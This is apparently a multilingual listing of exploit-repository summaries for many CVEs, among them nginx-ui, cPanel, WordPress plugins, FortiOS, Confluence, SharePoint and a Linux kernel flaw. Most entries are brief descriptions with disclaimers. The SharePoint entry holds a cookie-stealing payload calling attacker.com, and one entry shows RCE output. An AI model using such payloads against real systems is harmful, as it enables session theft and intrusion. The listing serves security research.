CVE-2026-33032-nginx-ui-vuln-lab

CVE-2026-27944 + CVE-2026-33032 — nginx-ui 零凭证 RCE 实验环境 免责声明： 本仓库仅用于教育和授权安全研究目的。此处演示的所有技术只能用于您拥有或已获得明确书面许可进行测试的系统。作者对滥用行为不承担任何责任。未经授权，请勿对任何系统运行此工具。 一个自包含的 Docker Compose 实验环境，演示针对 nginx-ui v2.3.1 的双 CVE 漏洞链 ，可在零先验知识 的情况下实现完全接管 nginx —— 无需用户名、无需密码、无需令牌。 漏洞链 CVE-2026-27944 — 未认证备份端点 + 密钥泄露 GET...

CVE-2026-41940-cpanel-0day

使用方法 root@kitploit: python 0day.py -f test.txt --external-only --show-all -t 10 -o testcvereport.csv 来源与参考 https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/ 请勿利用，仅供修复用途，这是一个真正的扫描器。 致谢 Chirag Artani https://3rag.com...

CVE-2023-51764

CVE-2023-51764 PoC de CVE-2023-51764 Enlace: https://github.com/duy-31/CVE-2023-51764 1. Añadir autenticación SMTP 2. El script solo se ha probado en Kali 3. No utilice el script con fines ilegales...

CVE-2024-11613-wp-file-upload

CVE-2024-11613-wp-file-upload 由 Chirag Artani https://3rag.com 为 WordPress File Upload 中的 CVE-2024-11613 编写的漏洞利用程序 相关信息如下 - WordPress 的 WordPress File Upload 插件在所有版本（包括 4.24.15）中均存在远程代码执行、任意文件读取和任意文件删除漏洞，漏洞位于 'wfufiledownloader.php' 文件中。这是由于对 'source'...

CVE-2023-31446-Remote-Code-Execution

CVE-2023-31446-Remote-Code-Execution 该仓库包含由Dodge Industrial团队在Dodge OPTIFY平台上发现的CVE-2023-31446的描述。 CVE ID：CVE-2023-31446 厂商：Cassia Networks 产品：Cassia Gateway固件 版本： http:///bypass/config?type=sqs&keyId=&key=&queueUrl= 根据调查，SQS功能会在设备启动时启动该服务。 服务会加载配置文件，而上述端点会覆盖其中的设置。 服务在加载指定URL后，会从root...

-nginxui_discover

Nginx UI 发现扫描器 - CVE-2026-27944 版本检测器 https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/threading-multi--threaded-brightgreen 作者：NULL200OK 一款高性能、多线程扫描器，用于发现 Nginx UI Web 界面、检测其版本，并识别存在 CVE‑2026‑27944（版本 ≤ 2.3.2）漏洞的实例。...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - Cadena Completa n8n Lectura Arbitraria de Archivos sin Autenticación → Forja de Token de Administrador → Bypass de Sandbox → RCE...

CVE-2023-22527-POC

CVE-2023-22527 &color=brighgreen%3E 描述 旧版本的 Confluence Data Center 和 Server 中存在一个模板注入漏洞，允许未经身份验证的攻击者在受影响实例上实现 RCE。使用受影响版本的客户必须立即采取行动。大多数最新受支持的 Confluence Data Center 和 Server 版本不受此漏洞影响，因为该漏洞在常规版本更新中最终得到了缓解。但是，Atlassian 建议客户注意安装最新版本，以保护其实例免受 Atlassian 一月安全公告中概述的非关键漏洞的影响。 产品| 受影响版本 ---|--- Confluen...

CVE-2026-23550

CVE-2026-23550 Modular DS header'User-Agent'; $userAgentMatches = $userAgent && Str::is'ModularConnector/ Linux', $userAgent; $originQuery = $request-has'origin' && $request-get'origin' === 'mo'; $isFromQuery = $originQuery || $userAgentMatches && $request-has'type'; // When is wp-load.php reques...

CVE-2025-5947_Exploit

🔍 Explotación de Plugin de WordPress — Service Finder sf-booking Resumen El plugin Service Finder es un sistema de reservas y gestión de servicios para WordPress. Debido a su popularidad y complejidad, algunas versiones han tenido problemas de seguridad relacionados con endpoints AJAX no...

CVE-2026-0920

Exploit Research: CVE-2026-0920 - Backdoor en LA-Studio Element Kit Análisis técnico y Prueba de Concepto PoC para el backdoor crítico descubierto en LA-Studio Element Kit para Elementor versiones ≤ 1.5.6.3. Esta vulnerabilidad permite la creación de cuentas administrativas sin autenticación...

CVE-2023-41474

IVANTI AVALANCHE - 路径遍历 在 Ivanti Avalanche 上发现了一个新漏洞。已在 Avalanche Server v6.3.4.153 上测试，并被标识为 CVE-2023-41474。 这是一个受限的未认证路径遍历漏洞，意味着未授权攻击者可以访问默认配置下 C:\PROGRAM DATA\Wavelink\AVALANCHE\Web\ webapps\AvalancheWeb 中的任何文件。然而，只有部分文件扩展名（如 .xml 或 .html）可以被显示（还有其他一些扩展名，且它们也取决于 .htaccess 规则）。...

CVE-2026-4406

Gravity Forms = 2.9.28 — Cross-Site Scripting Reflejado No Autenticado a través del Parámetro formids de gformgetconfig Resumen de la Vulnerabilidad "success":true,"data":"common":"form":"pagination":"":null "success":true,"data":"common":"form":"pagination":"":null,"":null...

CVE-2023-6329

CVE-2023-6329 — Control iD iDSecure 認証バイパス CVE-2023-6329 の Python による概念実証エクスプロイトです。これは Control iD iDSecure バージョン 4.7.43.0 以下 における不適切なアクセス制御の脆弱性です。この欠陥により、認証されていないリモート攻撃者が、公開されている値（デバイスのシリアル番号、サーバー提供の nonce、ハードコードされたソルト）のみに依存した予測可能なパスワード導出アルゴリズムを悪用して、有効なログイン資格情報を再構築できます。認証後、攻撃者は Web...

CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom

CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom Un servicio Bluetooth Classic RFCOMM del intercomunicador Parani M10 está expuesto sin aplicar autenticación segura ni un control de acceso adecuado. Una vez dentro del alcance, cualquier dispositivo puede...

cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞，存在于其 SSL VPN 组件中。该漏洞允许未经身份验证的远程攻击者通过特制的 HTTP 请求在目标系统上执行任意代码或命令，可能导致系统被完全控制。 危害： 由于该漏洞的存在，攻击者可以在不需要任何身份验证的情况下，远程执行任意代码，进而完全控制受影响的设备。这可能导致敏感数据泄露、服务中断，甚至进一步的网络攻击。 攻击方法： 攻击者利用该漏洞的主要手段是发送特制的 HTTP 请求，触发 SSL VPN...

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

CVE-2024-25600 — WordPress Bricks Builder RCE PoC WordPress Bricks Builder id uid=33www-data gid=33www-data groups=33www-data 参照 CVE-2024-25600 Bricks Builder セキュリティアドバイザリ Wordfence の解説記事 クレジット 発見者: Snicco / Calvin Alkan オリジナルエクスプロイト: K3ysTr0K3R クリーンアップ & 簡略化: Esteban Zárate...

copyfail-rs

copyfail-rs CVE-2026-31431 Copy Fail 的 Rust 实现 — 通过 AFALG splice 实现的 Linux 内核页面缓存任意写入原语。 English README CVE-2026-31431 Linux 内核的 algifaead 实现允许非特权用户通过 splice 系统调用将任意数据写入任何可读文件的页面缓存。authencesn AEAD 算法将 seqnolo（用户控制的 AAD 字节 4-7）写入目标 scatterlist 的 assoclen + cryptlen 偏移处——当目标通过 splice...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

CVE-2026-32475-PoC

CVE-2026-32475 — Elementor Pro Subida de Archivos Arbitraria No Autenticada → RCE Prueba de concepto para CVE-2026-32475 CVSS 9.0: una vulnerabilidad de subida de archivos arbitraria no autenticada en el plugin de WordPress Elementor Pro ≤ 4.2.1 que conduce a la ejecución remota de código...